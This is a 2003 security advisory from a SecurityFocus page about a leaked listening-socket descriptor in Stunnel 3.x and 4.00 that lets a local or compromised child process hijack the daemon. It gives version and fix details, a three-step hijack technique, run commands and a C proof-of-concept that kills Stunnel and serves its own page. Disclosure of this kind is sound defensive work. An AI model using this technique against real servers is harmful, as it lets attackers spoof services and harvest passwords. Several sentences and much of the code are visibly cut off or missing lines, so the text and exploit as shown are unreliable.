Stunnel-3.x Daemon Hijacking Sep 03 2003 04:32PM
Steve Grubb (linux_4ever yahoo com)

Product: Stunnel

Versions: <= 3.24, 4.00

URL: http://stunnel.mirt.net

Impact: Daemon Hijacking

Bug class: Leaked Descriptor

Vendor notified: Yes

Fix available: Yes

Date: 09/03/03



Stunnel leaks a critical file descriptor that can be

used to takeover (hijack) stunnel's service.



Recently, several vendors updated Stunnel-3.22 to fix a

remote denial of service caused by the SIGCHLD handler

doing memory allocation. This wasn't the worst problem

with Stunnel-3.22 in my opinion.

About a year ago, I did a code review and found the

signal handler problems and reported it. I then ran

env_audit against Stunnel to see if there were any

other problems. Unfortunately, I found a couple leaked

file descriptors. One of these is the file descriptor

returned by listen.

The bug was caused by not making a call to fcntl with

the CLOEXEC flag to prevent the leak of a privileged

file descriptor.

Shortly after the problem was reported, Stunnel-4.01

was released. A month later I looked at 3.22 and saw

that it was leaking the same things as 4.00 was. I have

not tested versions prior to 3.22, but I suspect the

bug is in anything lower than 3.22, too.

Even though the 4.x branch had the file descriptor leak

fixed, no fix was back ported to the 3.x branch (which

is still widely used). It should be noted that the 4.x

series is a major revision with dramatic changes in




If Stunnel is used to tunnel any local program which

could provide shell access, such as telnet, then the

user's shell will also have the listen descriptor

leaked to it. This means that any user with shell

access could hijack the Stunnel server.

Also, if you have a service whose transport layer is

being encrypted by Stunnel and it is exploitable, it

can be used to hijack the Stunnel server. Chrooting the

service and dropping privileges may not be enough since

the listening descriptor is leaked right to the child.

Once they have taken over the service, they could spoof

the service and collect passwords, credit cards, or

other privileged information. They could also redirect

the service to a different machine to run programs they

don't have privileges for on the compromised machine.



The technique is simple.

1) Fork so that stunnel can't find you when it dies.

2) Send stunnel a SIGUSR2. Unhandled signals generally

kill programs. Since you are a child of stunnel, the OS

will deliver the signal.

3) Select on the leaked descriptor and start serving pages.

At the end of this advisory is a proof-of-concept

program that you can run under Stunnel. It is assumed

that Stunnel is providing you shell-like access (Telnet

over SSL, for example), or that the program lauched via

Stunnel has some exploitable condition that allows you

to run arbitrary code.

To run the POC code, you can execute it directly as the

local program (-l argument) for Stunnel :

/usr/sbin/stunnel -s nobody -g nobody -D 7 -p

/etc/ssl/certs/stunnel.pem -o /tmp/stunnel.log -P

/tmp/stunnel.pid -d 2222 -l

/opt/stunnel-sploit/leak-sploit -- leak-sploit

Then connect to stunnel like: lynx https://localhost:2222

The first time, you will get a message saying

"Unexpected network read error" followed by "Document

can't be accessed". Then connect again. The second

time, you will see the "You're owned" message. Doing a

ps -ef shows that stunnel is long gone and replaced by

the example application...even though user & group were

nobody. Sure its a bit contrived, but illustrates the




The solution to this problem is to upgrade Stunnel to

3.26 or 4.04 depending on your current deployment. Both

Michal Trojnara and Brian Hatch were very good people

to work with to fix this problem and it was done in a

timely manner. This announcement is mostly to motivate

vendors to roll out the upgrades and administrators to

apply them.

To see if you are vulnerable, you can use the env_audit

program. It comes with directions for testing Stunnel

in the examples directory.


Best Regards,

Steve Grubb

The code................

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <signal.h>

#include <errno.h>

#include <sys/select.h>

#include <netinet/in.h>

#include <openssl/ssl.h>


* The basic scheme goes like this:

* 1) Get rid of the parent

* 2) init the openssl library

* 3) start handling requests


/* You may need to adjust these next 3 items */


#define CERTF "/opt/stunnel-sploit/foo-cert.pem"

#define KEYF "/opt/stunnel-sploit/foo-cert.pem"

static SSL_CTX *ctx;

static SSL *ssl;

static X509 *client_cert;

static SSL_METHOD *meth;

static void server_loop(int descr);

static void ssl_init(void);

int main(int argc, char *argv[])


int pid = getppid();

/* Need to fork so stunnel doesn't kill us */

if (fork() == 0) {

/* Become session leader */


/* Goodbye - thanks for the descriptor */

kill(pid, SIGUSR2);

close(0); close(1); close(2);




return 0;


static void server_loop(int descr)


struct timeval tv;

fd_set read_mask ;

FD_SET(descr, &read_mask);

for (;;) {

struct sockaddr_in remote;

socklen_t len = sizeof(remote);

int fd;

if (select(descr+1, &read_mask, NULL, NULL, 0 )

== -1)


fd = accept(descr, &remote, &len);

if (fd >=0) {

char obuf[4096];

if ((ssl = SSL_new (ctx)) != NULL) {

SSL_set_fd (ssl, fd);


if ((SSL_accept (ssl)) == -1)


strcpy(obuf, "HTTP/1.0 200 OK\n");

strcat(obuf, "Content-Length: 40\n");

strcat(obuf, "Content-Type:


strcat(obuf, "<html><body>You're


SSL_write (ssl, obuf, strlen(obuf));



SSL_free (ssl);






SSL_CTX_free (ctx); /* Never gets called */


static void ssl_init(void)




meth = SSLv23_server_method();

ctx = SSL_CTX_new (meth);

if (!ctx)


if (SSL_CTX_use_certificate_file(ctx, CERTF,



if (SSL_CTX_use_PrivateKey_file(ctx, KEYF,



if (!SSL_CTX_check_private_key(ctx))



To compile:

$(CC) $(CFLAGS) -o $@ leak-sploit.c -lssl

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus